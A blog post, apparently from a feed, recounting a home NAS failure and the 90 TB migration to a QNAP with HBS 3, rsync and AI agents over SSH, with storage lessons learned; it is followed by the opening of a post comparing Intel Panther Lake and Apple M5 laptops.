<p>QNAP asks for at least 8 GB for QuTS hero. Mine came with 8 GB and a quad-core Ryzen, which works for my use, which is storing large files and serving them over the network. Deduplication stays off.</p>
<p>I bought 10 drives for an 8-bay NAS, so two are left in the drawer as spares, for the day one fails.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-criando-pool-raid6.png" alt="QNAP storage pool creation wizard: 8 disks in RAID 6, 126 TB, 5% over-provisioning, 5% guaranteed snapshot space and an 85% alert threshold"  loading="lazy" /></p>
<p>For my simple setup, three settings:</p>
<ul>
<li><strong>5% over-provisioning.</strong> It&rsquo;s a slice of the pool the system reserves and never hands out for data. ZFS always writes to new space and gets slow when the pool fills up near the limit; this slack keeps performance stable. On SSD pools it also extends drive life, but these are hard drives, so the minimum is enough.</li>
<li><strong>5% guaranteed snapshot space.</strong> It&rsquo;s the reserve for snapshots, the &ldquo;photos&rdquo; of the state of your files that let you go back after an accident or ransomware. Guaranteeing the space means the snapshots keep existing even if I fill up the rest. My data changes little (it&rsquo;s mostly cold archive), so snapshots take almost nothing and 5% is plenty.</li>
<li><strong>Alert at 85%.</strong> The system warns me when the pool passes 85% usage, with room for me to act before hitting the ceiling. It was exactly the lack of room that had me swapping drives in a hurry on the Synology.</li>
</ul>
<p>Adding the two reserves, about 13 TB are set aside and 112.9 TB are left for use.</p>
<p>A detail of my case: I&rsquo;m copying the 90 TB with snapshots turned off, and I&rsquo;ll only enable the schedule after the copy finishes. A snapshot protects a file&rsquo;s previous state, and on an empty NAS receiving its first load there is no previous state worth protecting. The source of truth is still the Synology.</p>
<p>And there&rsquo;s a practical cost. I stopped and restarted the job several times, deleted folders that had gone in by mistake and copied again. With snapshots on, every deleted thing would keep taking up space inside some snapshot, and I&rsquo;d be filling the pool with the migration&rsquo;s own garbage. When everything is on this side and checked, then yes: scheduled snapshots, to protect me from deleting what I shouldn&rsquo;t and from ransomware.</p>
<p>After that I created one giant &ldquo;thick&rdquo; partition. In ZFS you can create a &ldquo;thin&rdquo; folder, which only takes up what&rsquo;s inside it and can promise more space than exists, or a &ldquo;thick&rdquo; one, which reserves the full size at creation. Since it&rsquo;s a pool with one owner and one use, thick is more predictable: the space is mine and nothing competes for it.</p>
<p>Finally, I created the shares and installed the HBS 3 app.</p>
<h2>Copying 90 TB<span class="hx:absolute hx:-mt-20" id="copying-90-tb"></span>
    <a href="#copying-90-tb" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>HBS 3 (Hybrid Backup Sync) is QNAP&rsquo;s app for backup and synchronization. It connects to another NAS, to rsync, FTP, SMB or the cloud.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-criar-job.png" alt="HBS 3 sync job creation screen, with the destination options: local NAS, remote NAS, Rsync, FTP and CIFS/SMB"  loading="lazy" /></p>
<p>I connected to the Synology&rsquo;s SMB share and told it to sync everything.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-job-sync.png" alt="HBS 3 syncing from the Synology TERACHAD to the QNAP TS-873A"  loading="lazy" /></p>
<p>I had to stop and restart a few times, tweaking the job settings, because it was absurdly slow. And the file count wouldn&rsquo;t stop growing:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-hbs3-snapshot-explosao.png" alt="HBS 3 job status showing 45 million files and 865 TB calculated, at an average of 350 MB/s"  loading="lazy" /></p>
<p>865 TB on a 108 TB NAS, and that&rsquo;s when I understood what was going on.</p>
<p>I excluded two kinds of path from the job:</p>
<ul>
<li><strong>The <code>#snapshot</code> directories.</strong> On Synology, when you check &ldquo;make snapshot visible,&rdquo; each shared folder gets a <code>#snapshot</code> subfolder with a full view of the folder at each point in time. Inside the Synology that takes no space, because a snapshot only stores the difference. Seen from outside, over SMB, every snapshot looks like a full copy of everything, and HBS was trying to copy them all.</li>
<li><strong>The restic backup directories.</strong> restic stores everything in hundreds of thousands of pack files of a few megabytes each. Network copying is fast with large files and suffers with small ones, because each one costs an open, metadata and a close. And those backups I&rsquo;ll redo from scratch on the new NAS.</li>
</ul>
<p>With that, throughput rose to an average of 400 MB/s.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-400mbs.png" alt="QNAP resource monitor showing 414.8 MB/s received on the 10 GbE interface"  loading="lazy" /></p>
<p>That&rsquo;s less than half of what a 10 GbE network delivers, but it&rsquo;s more than three times the gigabit most people have at home. Both sides really are at 10 gigabits:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-qnap-10gbe.png" alt="QNAP 10 GbE adapter connected at 10 Gbps"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-10gbe.png" alt="Synology LAN 5 interface at 10000 Mbps, full duplex"  loading="lazy" /></p>
<p>Why doesn&rsquo;t it reach 1,000 MB/s? My main hypothesis is drive 8. The source array is degraded, and every read that goes through the affected pieces has to be recomputed from parity, with a drive that on top of that returns errors and retries. It makes sense that the Synology can&rsquo;t go faster than this.</p>
<p>There&rsquo;s a second factor, which my own screenshots give away: the Synology has jumbo frames on (MTU 9000), and the QNAP image shows the default MTU of 1500. That screenshot is from earlier; I&rsquo;ve already changed the QNAP to 9000 as well.</p>
<p>Why it matters: MTU is the maximum size of each packet that travels on the network. At the default 1500 bytes, filling a 10-gigabit link means processing more than 800 thousand packets per second, and each packet costs CPU on both sides, for the header, the checksum and the interrupt. With jumbo frames each packet carries six times more data, so it&rsquo;s one sixth of the packets for the same volume, and more processor is left for moving files. It only works if everything in the path matches: both cards and the switch. If one side stays at 1500, the connection negotiates down to the smaller value and the other side&rsquo;s jumbo frames do nothing.</p>
<p>At 400 MB/s, 90 TB takes about two and a half days, and I prefer two and a half guaranteed days.</p>
<h2>What Synology explained<span class="hx:absolute hx:-mt-20" id="what-synology-explained"></span>
    <a href="#what-synology-explained" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In parallel, I opened a ticket with Synology support. After some back and forth, I sent the logs. They responded fast, the same day, and I&rsquo;ll give them that. The engineer&rsquo;s explanation, summarized:</p>
<ul>
<li>Drive 8 had been logging media errors <strong>for over a month</strong>. A media error is when the NAS tells the drive to read a sector and the drive answers that it couldn&rsquo;t, even after several retries. It&rsquo;s always an internal drive failure, and the drive should have been replaced.</li>
<li>It was drive 8&rsquo;s poor health that took it down during the rebuild of drive 1.</li>
<li>In practice I lost two drives, and the pool should have crashed completely. It didn&rsquo;t because of how SHR works.</li>
</ul>
<p>SHR isn&rsquo;t a single RAID-5. To use drives of different sizes without wasting space, it slices the drives and builds several smaller RAIDs, one per size band, and joins everything into one volume. The engineer sent this example diagram:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-shr-particoes.png" alt="Synology support diagram showing how SHR splits drives of different sizes into partitions 1, 2 and 3"  loading="lazy" /></p>
<p>In my case, the pool is made of two partitions. In the first, the rebuild of drive 1 was far enough along and the failure of drive 8 was mild enough that both kept working. In the second, both are missing. That&rsquo;s why the pool didn&rsquo;t crash entirely and I can still see the files.</p>
<p>His recommendation was the one I was already following: copy everything out before anything else, because there&rsquo;s no telling whether the situation gets worse or whether it&rsquo;s fixable. After the backup he can even try forcing drive 8 back into the pool so the rebuild continues, but there&rsquo;s no guarantee the drive will go back in, or that it will survive the process. In his words, copying and recreating the pool from scratch is probably the quickest way forward.</p>
<p>Classic RAID-5, by the way, requires all drives to be the same size, and to grow capacity I&rsquo;d have to replace all of them at once. SHR is what let me swap one at a time over the years. Ironically, it&rsquo;s also what saved me from losing everything at once.</p>
<h2>The two mistakes<span class="hx:absolute hx:-mt-20" id="the-two-mistakes"></span>
    <a href="#the-two-mistakes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The way I understood it, there are two mistakes, one mine and one theirs, and that&rsquo;s where the whole disaster lives.</p>
<p><strong>Mine:</strong> I underestimated RAID-6, which on Synology is called SHR-2. With two parity drives, drive 8 failing in the middle of the rebuild would have been just a scare. I traded safety for 20 TB of space and spent five years thinking I&rsquo;d made a good deal.</p>
<p><strong>Theirs:</strong> from the logs, the software knew drive 8 had been failing for at least a month, and I never got a single notification. I have email notifications configured. And they work: when the critical situation blew up, I got a flood of emails. This one, about drive 8&rsquo;s bad sectors, arrived at one in the afternoon on Monday, five hours after the disaster:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-email-bad-sectors.png" alt="Synology email warning that the number of bad sectors increased on drive 8, a Seagate ST22000NT001"  loading="lazy" /></p>
<p>Before that, nothing. No warning about drive 8 until it failed catastrophically.</p>
<p>If I had received one, I would never have tried to swap drive 1 before replacing drive 8. The whole situation was avoidable, and it was the result of a human mistake plus some software bug.</p>
<p>That&rsquo;s the other reason I didn&rsquo;t buy another Synology. I have a principle: if the horse throws me, I put the horse down. I can&rsquo;t trust it again.</p>
<h2>Where I am now<span class="hx:absolute hx:-mt-20" id="where-i-am-now"></span>
    <a href="#where-i-am-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far I&rsquo;ve copied about 20 TB of the original 90 TB, and HBS 3 keeps working. I still don&rsquo;t know whether I lost any data permanently. I hope not, but the most likely outcome is that I lost what was in the RAID slice the engineer described as crashed.</p>
<p>I have offsite backup on AWS Glacier of what matters most, but not of everything.</p>
<p>A lot of people ask why I don&rsquo;t use S3 or some other cloud storage for everything. I return the question: think for ten seconds. How long does it take to transfer 90 TB over your internet connection? Do the math:</p>
<ul>
<li>With a solid 1 gigabit of upload, never dropping for a second: more than 8 days.</li>
<li>With 500 megabits: almost 17 days.</li>
<li>With 100 megabits, which is good upload for many homes: 83 days.</li>
</ul>
<p>And that&rsquo;s to upload. When disaster hits you need to download it all back, with the clock running. Not counting the rent: 90 TB on standard S3 costs about US$ 2 thousand a month at list price. Cloud is great for the critical subset, which is how I use it. For the whole archive, physics and the invoice won&rsquo;t allow it.</p>
<h2>Lessons<span class="hx:absolute hx:-mt-20" id="lessons"></span>
    <a href="#lessons" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I was put in an impossible situation on a Monday morning, I acted right away as best I could, and I&rsquo;ll probably come out of this mostly unscathed. We&rsquo;ll see, HBS 3 is still syncing. What I take from it:</p>
<ol>
<li><strong>Single parity isn&rsquo;t enough for big drives.</strong> With 20 TB drives, a rebuild takes days and reads everything. That&rsquo;s the window in which the second drive tends to show up. RAID-6, SHR-2 or RAIDZ2.</li>
<li><strong>Don&rsquo;t rely only on the vendor&rsquo;s notifications.</strong> Look at SMART and the drive logs before starting any swap. I didn&rsquo;t, because I trusted I&rsquo;d be warned.</li>
<li><strong>Replace the sick drive first, then the small one.</strong> A capacity upgrade on an array with a suspect drive is roulette.</li>
<li><strong>Leave slack.</strong> I was swapping drives because the volume was at the ceiling. An 85% alert exists for that.</li>
<li><strong>Have somewhere to copy to.</strong> My way out cost R$ 185 thousand because I had no plan B. A second NAS, even a modest one, with what matters, would have bought me time to shop calmly.</li>
<li><strong>RAID is not backup.</strong> I know that, I teach that, and I still only had offsite for part of it.</li>
</ol>
<p>The copy is done and I already know the size of the damage: zero. The full recovery comes next.</p>
<h2>Six days later: the end of the story<span class="hx:absolute hx:-mt-20" id="six-days-later-the-end-of-the-story"></span>
    <a href="#six-days-later-the-end-of-the-story" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When I published the first part, I had about 20 TB copied and no certainty. The outcome: I finished evacuating the ~91 TB, verified file by file, and lost nothing by accident. Not even what was on the fallen RAID slice, because it stayed readable until the end.</p>
<p>Who operated the recovery were my two agents. The desktop agent controls my PC and both NASes over SSH, and the homelab agent takes care of the server where my 57 containers run. The two coordinate by message: one leaves a report in the other&rsquo;s inbox, and I follow the conversation.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-ai-memory-agentes.png" alt="The desktop agent’s terminal checking the ai-memory message inbox, where the homelab agent leaves its reports"  loading="lazy" />)</p>
<p>This part matters because nothing that follows was me typing commands. I made the decisions; they executed, measured and screwed up badly a few times, as you&rsquo;ll see.</p>
<h3>HBS 3 was quietly betraying me<span class="hx:absolute hx:-mt-20" id="hbs-3-was-quietly-betraying-me"></span>
    <a href="#hbs-3-was-quietly-betraying-me" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the first part I told how HBS 3, pulling the Synology shares over CIFS, reached 400 MB/s after the adjustments. What I didn&rsquo;t know: speed was the smallest of its problems.</p>
<p>Two defects showed up when the agent checked the source inventory against what HBS reported:</p>
<ul>
<li><strong>It didn&rsquo;t go where it had no permission, and told nobody.</strong> HBS mounts the Synology as my user. The <code>Bitcoin/data</code> directory, 901 GB with my node&rsquo;s wallet and chainstate, belongs to uid 101 and is closed to anyone else. CIFS couldn&rsquo;t get in there, and HBS reported success without recording the omission. A &ldquo;green&rdquo; backup that leaves the entire Bitcoin node behind.</li>
<li><strong>It skipped files with &ldquo;unsupported&rdquo; names.</strong> 113 files, recorded only on a detail screen nobody opens during a days-long copy.</li>
</ul>
<blockquote>
  <p>A backup tool that reports success while omitting what it couldn&rsquo;t read is worse than one that fails screaming. Verify the backup against an independent inventory of the source, never against the tool&rsquo;s own log.</p>

</blockquote>
<p>We abandoned HBS. The agent opened SSH on both NASes, enabled the rsync server on the QNAP, and the Synology started pushing straight to its rsyncd, with nothing going through the PC. Each job&rsquo;s wrapper: <code>rsync -a --numeric-ids -W --partial --timeout=600</code>, attempts with retry, and <strong>never <code>--delete</code></strong>. The <code>--numeric-ids</code> preserved the original uids with no chown afterwards, <code>--partial</code> turned any interruption into a continuation, and the absence of <code>--delete</code> made the destination always a superset: re-sharding or killing a job never cost data.</p>
<h3>The bottleneck wasn&rsquo;t the broken drive<span class="hx:absolute hx:-mt-20" id="the-bottleneck-wasnt-the-broken-drive"></span>
    <a href="#the-bottleneck-wasnt-the-broken-drive" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Some context was missing from the first part. This Synology was born with eight consumer-line Seagate IronWolfs, and over the years I had been swapping them one by one for 20 TB IronWolf Pros. The disaster happened exactly during one of those upgrades: I swapped drive 1 for the new Pro and, during the rebuild, drive 8 failed. One single old drive was left in the array: drive 2.</p>
<p>And it, not drive 8, was the evacuation bottleneck. Measured under load:</p>
<ul>
<li>Drive 2 (the old consumer one, with 37 thousand hours of use): 91% utilization, delivering 27 MB/s, each I/O taking 4 to 15 times longer than its siblings.</li>
<li>The six Pros: between 34% and 45% utilization, sitting idle waiting for it.</li>
</ul>
<p>In RAID-5 (and in SHR), a sequential read spans the whole stripe, and the stripe only completes when the slowest member answers. One slow drive caps the whole array: because of it, the array couldn&rsquo;t go past about 200 MB/s while six good drives had room to spare. And its SMART was clean, zero reallocated sectors. Consumer drives usually ship without time-limited error recovery (ERC/TLER) active, so the drive retries a marginal sector for seconds, internally, without accounting for anything. The Synology&rsquo;s NVMe cache diverted part of the reads from the platters and helped mask the symptom.</p>
<blockquote>
  <p>The drive that fails and the drive that slows you down don&rsquo;t have to be the same, and SMART &ldquo;PASSED&rdquo; says nothing about latency. A slow array is diagnosed with per-drive utilization and response time, not with SMART.</p>

</blockquote>
<h3>Parallelizing rsync is science, not guesswork<span class="hx:absolute hx:-mt-20" id="parallelizing-rsync-is-science-not-guesswork"></span>
    <a href="#parallelizing-rsync-is-science-not-guesswork" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>First instinct: more streams. Wrong, twice.</p>
<p>The first time, a bug of ours: a &ldquo;clean&rdquo; job relaunch didn&rsquo;t kill anything, because the Synology&rsquo;s busybox <code>ps</code> truncates the command line and the verification grep didn&rsquo;t find the old processes. Result: 32 rsyncs running into 7 destinations, four to five writers per tree, the QNAP with its receive buffers clogged, and the cable transmitting 516 MB/s while the array read 140. After the cleanup (enumerating <code>/proc/*/cmdline</code>, never trusting <code>ps</code> again), useful throughput <strong>rose</strong> from 140 to 181 MB/s while total load collapsed.</p>
<p>The second time, measurement inverted common sense: with large-file trees, fewer streams were faster, because the average size of each read request tripled and the array did long sequential runs instead of jumping around.</p>
<p>But small-file trees are another sport. <code>TERACHAD/Emulators</code> has 21 TB in 3.4 million files averaging 6 MB: latency-bound work (stat, creation, metadata), not bandwidth-bound. And there aggressive parallelization worked, with one detail: the right shard is chosen by <strong>file count</strong>, not by size. A single directory, <code>ROMS_FINAL/xbox-hdd-ready</code>, held 995 thousand of ROMS_FINAL&rsquo;s 1.59 million files, averaging 1.7 MB per file. Isolating it from the multi-gigabyte ISOs:</p>
<table>
  <thead>
      <tr>
          <th>Configuration</th>
          <th style="text-align: right">GB/hour</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>single stream, 6-hour average</td>
          <td style="text-align: right">~157</td>
      </tr>
      <tr>
          <td>two shards</td>
          <td style="text-align: right">272</td>
      </tr>
      <tr>
          <td><strong>three shards</strong></td>
          <td style="text-align: right"><strong>436 to 501</strong></td>
      </tr>
  </tbody>
</table>
<p>Between 2.8 and 3.2 times the single stream&rsquo;s average throughput, on the same machine, on the same network. And there&rsquo;s a beautiful reason: with the array missing a member, reads of data that doesn&rsquo;t live on drive 2 don&rsquo;t need it, so the extra concurrency let the other drives work while it choked.</p>
<blockquote>
  <p>&ldquo;More parallelism&rdquo; and &ldquo;less parallelism&rdquo; are both wrong answers as a general rule. Bandwidth-bound work splits little; latency-bound work splits a lot, and by file count. Measure before choosing.</p>

</blockquote>
<h3>Copying is half the work; proving is the other half<span class="hx:absolute hx:-mt-20" id="copying-is-half-the-work-proving-is-the-other-half"></span>
    <a href="#copying-is-half-the-work-proving-is-the-other-half" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Every job that finished went through a dry-run of the same rsync, with the same excludes: zero files needing transfer means an identical destination by size and date. And even so it almost went wrong, because <strong>the verification inherited the copy&rsquo;s excludes</strong>: a tree excluded from the transfer stayed excluded from its own proof. Re-running the check without excludes turned up 952 files and 191 GB missing in Downloads (exactly the batches I had set aside as &ldquo;only existing copy&rdquo;) and the old restic repositories, which a similar directory name on the QNAP pretended to cover: the repositories&rsquo; internal ID proved they were different ones, not copies.</p>
<p>There was source drift too: a tree verified as complete received 16 GB of new checkpoints on the Synology after the check, and only the final re-verification caught it. Verification has an expiration date.</p>
<p>And a conscious decision, recorded so nobody accuses me of hiding it: the old backup histories (about 2 TB of restic snapshots and a duplicity set from 2025) were left behind by my choice, because the new repositories on the QNAP already cover the same content from now on. Deliberate loss of history, not of data.</p>
<p>Closing the books: <strong>17 rsync jobs, all exit 0, all verified, about 5.9 million byte-identical files</strong>, and the Synology shutdown only happened after every tree was proven.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-homelab-containers-status.png" alt="Recovery status table mid-process: the containers already released and the ones still held waiting for each tree’s rsync verification"  loading="lazy" />)</p>
<h3>Meanwhile, in the homelab<span class="hx:absolute hx:-mt-20" id="meanwhile-in-the-homelab"></span>
    <a href="#meanwhile-in-the-homelab" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the other side of the house, the marvin server, which mounts the NAS over NFS and runs the 57 containers, almost died standing up. Dead NAS plus &ldquo;hard&rdquo; NFS mounts plus 57 containers restarting on their own made an infinite queue of uninterruptible I/O: the machine answered ping, but sshd couldn&rsquo;t complete a handshake. And every insistent SSH attempt only made it worse, because OpenSSH punishes a repetitive source by extending the ban. We knocked on the door and the door added a lock.</p>
<p>The way out was to stop knocking: I paused the torrents through the qBittorrent API (which kept responding), went to the physical console, disabled Docker, rebooted, and the server came back. A watchdog I didn&rsquo;t even remember existed had, on its own, taken down the 14 NAS-dependent containers before any database corrupted: bitcoind&rsquo;s LevelDB opened clean on the first try.</p>
<p>The migration itself was elegant: fstab pointed at the QNAP and the old mount points became symlinks into the new one. <strong>No docker-compose changed.</strong> Then came the QNAP NFS gotcha: permission is per client. The desktop was allowed without squash, but marvin&rsquo;s writes came in as uid 1001, blocking everything that writes to the NAS. The first fix attempt still flipped the mount to read-only in the middle of the first restic backup, which survived on retries. Final configuration: read and write, no squash for anyone, tested with <code>touch</code> and <code>ls -ln</code> from each client, because &ldquo;it worked on the desktop&rdquo; proves nothing about the server.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-configurando-nfs.png" alt="QNAP NFS permissions screen, with the per-host rule for the homelab server"  loading="lazy" />)</p>
<p>After that it was resurrection tree by tree: each service only came up when its tree was verified on the QNAP. In two days, 57 of 57 containers back, and a brand-new restic backup running daily to the QNAP.</p>
<h3>The new kernel took down the NVMe<span class="hx:absolute hx:-mt-20" id="the-new-kernel-took-down-the-nvme"></span>
    <a href="#the-new-kernel-took-down-the-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the middle of the recovery, a free scare from the server. Seven minutes after the nightly backup started, the NVMe controller vanished silently: every binary took SIGBUS, Docker and sshd died, and nothing remained recorded anywhere, because the log lives on the device that died. Not even a kernel panic: just silence.</p>
<p>The same workload had run fine hours earlier on kernel 7.2.6 and died on 7.2.9. Disabling APST (the NVMe&rsquo;s power management) didn&rsquo;t fix it: a second identical crash, a 7.2.9 regression confirmed by elimination. MicroOS is transactional and snapshot-based, so the rollback was a reboot into the 7.2.6 lineage, not a reinstall. Automatic updates were deliberately left broken on that lineage so nobody goes back to 7.2.9 unsupervised, and testing 7.2.8 waits until I can sit next to it.</p>
<blockquote>
  <p>A transactional operating system turns a kernel regression into a reboot. Without system snapshots, that night would have cost a lot more.</p>

</blockquote>
<h3>The thick provisioning scare<span class="hx:absolute hx:-mt-20" id="the-thick-provisioning-scare"></span>
    <a href="#the-thick-provisioning-scare" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>On the QNAP, the whole copy ran with no snapshots at all: in a bulk migration, snapshots are dead weight. With the copy done, I went to enable the ZFS snapshot schedule and got a dry error: &ldquo;pool free space is not enough&rdquo;. With 20 TB free.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-thick-thin-erro-snapshot.png" alt="QNAP error when trying to create a snapshot: insufficient pool free space, even with terabytes free"  loading="lazy" />)</p>
<p>Both statements were true about different things. The CHAD folder had been created as <strong>thick</strong>: out of the 100 TB quota, ZFS reserves the full 100 TB, and to snapshot a dataset with a reservation, the pool has to guarantee space to overwrite every referenced block while the snapshot pins the old copies. The math: 80 TB written plus 100 TB reserved, against 126 TB usable in the pool. It doesn&rsquo;t close. And <code>df</code> lies on both sides, because it measures the folder against the quota, not against the pool.</p>
<p>The fix was converting the folder to <strong>thin</strong>, which QuTS hero does in-place, hidden on the folder&rsquo;s Management screen, not in the edit dialog where &ldquo;Thick&rdquo; looks like static text. In thin, the number becomes a ceiling instead of a reservation: the 10 TB reservation evaporated, the pool ended up with 39 TB free, and the first snapshot came out consuming 334 KB over 79.9 TB referenced. ZFS needed almost nothing; the reservation was what demanded a 100 TB guarantee to authorize.</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-chad-properties.png" alt="CHAD folder properties after the conversion, now as thin"  loading="lazy" />)</p>
<p>Now the QNAP has a snapshot schedule with a retention policy, as it should have had since day one:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-snapshot-schedule.png" alt="CHAD folder snapshot schedule on the QNAP"  loading="lazy" />)</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-snapshot-retention.png" alt="Snapshot retention policy: how many to keep per day, week and month"  loading="lazy" />)</p>
<p>Two footnotes for anyone building one of these. If your thin folder has an 80% alert, raise the quota for aesthetic slack, because the alert measures against the quota and not against the pool. And this QNAP&rsquo;s real bottleneck is RAM: 7 GB for a 174 TB pool. QuTS hero&rsquo;s official minimum is 8 GB, and sensible practice at this scale is 16 and up. The size of the ARC cache governs metadata speed, and that&rsquo;s why the whole-tree sweeps during the migration were slow. A RAM upgrade is worth more than any fine-tuning.</p>
<h3>The Synology is born again<span class="hx:absolute hx:-mt-20" id="the-synology-is-born-again"></span>
    <a href="#the-synology-is-born-again" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>With everything verified on the QNAP, the Synology could finally be operated on. I swapped drives 2 and 8 for new IronWolf Pros, deleted the wounded pool and recreated it from scratch, this time in <strong>SHR-2</strong>, the two-parity-drive mode, their RAID-6. The new pool came out with 100 TB, all drives healthy:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-synology-pool-novo-saudavel.png" alt="Synology Storage Manager showing the new SYNOCHAD pool in SHR with two-drive tolerance, 100 TB and all drives Healthy"  loading="lazy" />)</p>
<p>It goes back to work as a replica target, and no longer as a single point of failure. The QNAP stays as primary, in RAIDZ2, with 87 TB of the 126 TB used and snapshots scheduled:</p>
<p><img src="/2026/10/06/desastre-no-meu-nas-como-quase-perdi-90-tb-de-dados/nas-qnap-storage-manager-final.png" alt="QNAP Storage Manager with the RAID 6 Ready pool and the CHAD folder in thin with 79.9 TB of 95 TB"  loading="lazy" />)</p>
<h3>What I take from the second half<span class="hx:absolute hx:-mt-20" id="what-i-take-from-the-second-half"></span>
    <a href="#what-i-take-from-the-second-half" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ol>
<li><strong>Distrust silent success.</strong> HBS reported green while leaving 901 GB behind. A backup is verified against a source inventory.</li>
<li><strong>SMART doesn&rsquo;t measure slowness.</strong> The drive that nearly killed the evacuation was &ldquo;healthy.&rdquo; Per-drive utilization and latency tell the truth.</li>
<li><strong>Parallelism is calibrated by measuring.</strong> Bandwidth-bound splits little, latency-bound splits a lot, and the shard is chosen by file count.</li>
<li><strong>Verification doesn&rsquo;t inherit excludes.</strong> If the proof uses the same filters as the copy, it only reaffirms the copy&rsquo;s assumptions. And verify again immediately before destroying the source.</li>
<li><strong>NFS permission is per client.</strong> Test writes from every machine that will use it.</li>
<li><strong>Don&rsquo;t hammer a dying sshd.</strong> Each attempt extends the ban. One patient attempt, or the physical console.</li>
<li><strong>The dangerous repair comes last.</strong> The array stayed degraded and slow until the last byte was proven somewhere else; only then did rebuilding stop costing anything.</li>
</ol>
<p>I came out of this better protected than I went in: two NASes, each with its own RAID-6, scheduled snapshots on the QNAP, daily restic, and Glacier for what&rsquo;s critical. The disaster cost me a QNAP, two drives and a week. It could have cost 90 TB.</p>
]]></content:encoded><category>storage-and-backup</category><category>homelab</category><category>hardware</category></item><item><title>Intel's Comeback: ARM64 vs X86-64 Is Not What You Think</title><link>https://www.akitaonrails.com/en/2026/08/11/intels-comeback-arm64-vs-x86-64-is-not-what-you-think/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/08/11/intels-comeback-arm64-vs-x86-64-is-not-what-you-think/</guid><pubDate>Tue, 11 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Since January, when the first Panther Lake laptops hit store shelves, reviews keep repeating a sentence that would have sounded absurd five years ago: an Intel x86 chip going toe to toe with the Apple M5. Not in everything — I&amp;rsquo;ll get to the caveats — but in the category that matters most day to day, battery life, the game has flipped. And that gives me the perfect excuse to write about a belief I see programmers repeat without checking: that true efficiency only comes with ARM64, because x86 is old, heavy, and full of 1978 baggage.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Since January, when the first Panther Lake laptops hit store shelves, reviews keep repeating a sentence that would have sounded absurd five years ago: an Intel x86 chip going toe to toe with the Apple M5. Not in everything — I&rsquo;ll get to the caveats — but in the category that matters most day to day, battery life, the game has flipped. And that gives me the perfect excuse to write about a belief I see programmers repeat without checking: that true efficiency only comes with ARM64, because x86 is old, heavy, and full of 1978 baggage.</p>
<p>My thesis: that was true generations ago, when decoding x86 cost a relevant slice of the die. Today x86 is, in practice, a translation layer into micro-instructions — and what separates Apple, Qualcomm, and Intel was never the instruction set. Intel&rsquo;s crisis was managerial and manufacturing, not architectural. Which is exactly why its comeback, now, makes sense.</p>
<h2>What the reviews show<span class="hx:absolute hx:-mt-20" id="what-the-reviews-show"></span>
    <a href="#what-the-reviews-show" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Panther Lake laptops (Core Ultra series 3, launched at CES on January 5 and on sale since January 27) deliver numbers the Meteor/Arrow Lake era couldn&rsquo;t dream of. Starting with battery — Dell XPS 14 2026 (Core Ultra X7 358H) versus MacBook Air 15 (M5):</p>
<table>
  <thead>
      <tr>
          <th>Battery test</th>
          <th>Dell XPS 14 (Panther Lake)</th>
          <th>MacBook Air 15 (M5)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Web browsing (<a href="https://www.notebookcheck.net/43-hours-battery-life-Dell-XPS-14-2026-lasts-almost-3x-longer-vs-MacBook-Air-15-M5-in-web-browsing-test.1262947.0.html"target="_blank" rel="noopener">Hardware Canucks</a>, VRR on)</td>
          <td><strong>43 hours</strong></td>
          <td>14h30</td>
      </tr>
      <tr>
          <td>Web browsing (<a href="https://www.notebookcheck.net/Dell-XPS-14-2026-with-Intel-Panther-Lake-delivers-55-longer-battery-life-vs-2025-Dell-14-Premium.1225329.0.html"target="_blank" rel="noopener">Notebookcheck</a>, different methodology)</td>
          <td>16h45 (+55% vs 2025 model)</td>
          <td>17h12</td>
      </tr>
      <tr>
          <td>4K YouTube</td>
          <td><strong>20h21</strong></td>
          <td>14h</td>
      </tr>
      <tr>
          <td>Heavy load (gaming)</td>
          <td>2h30</td>
          <td><strong>4h10</strong></td>
      </tr>
  </tbody>
</table>
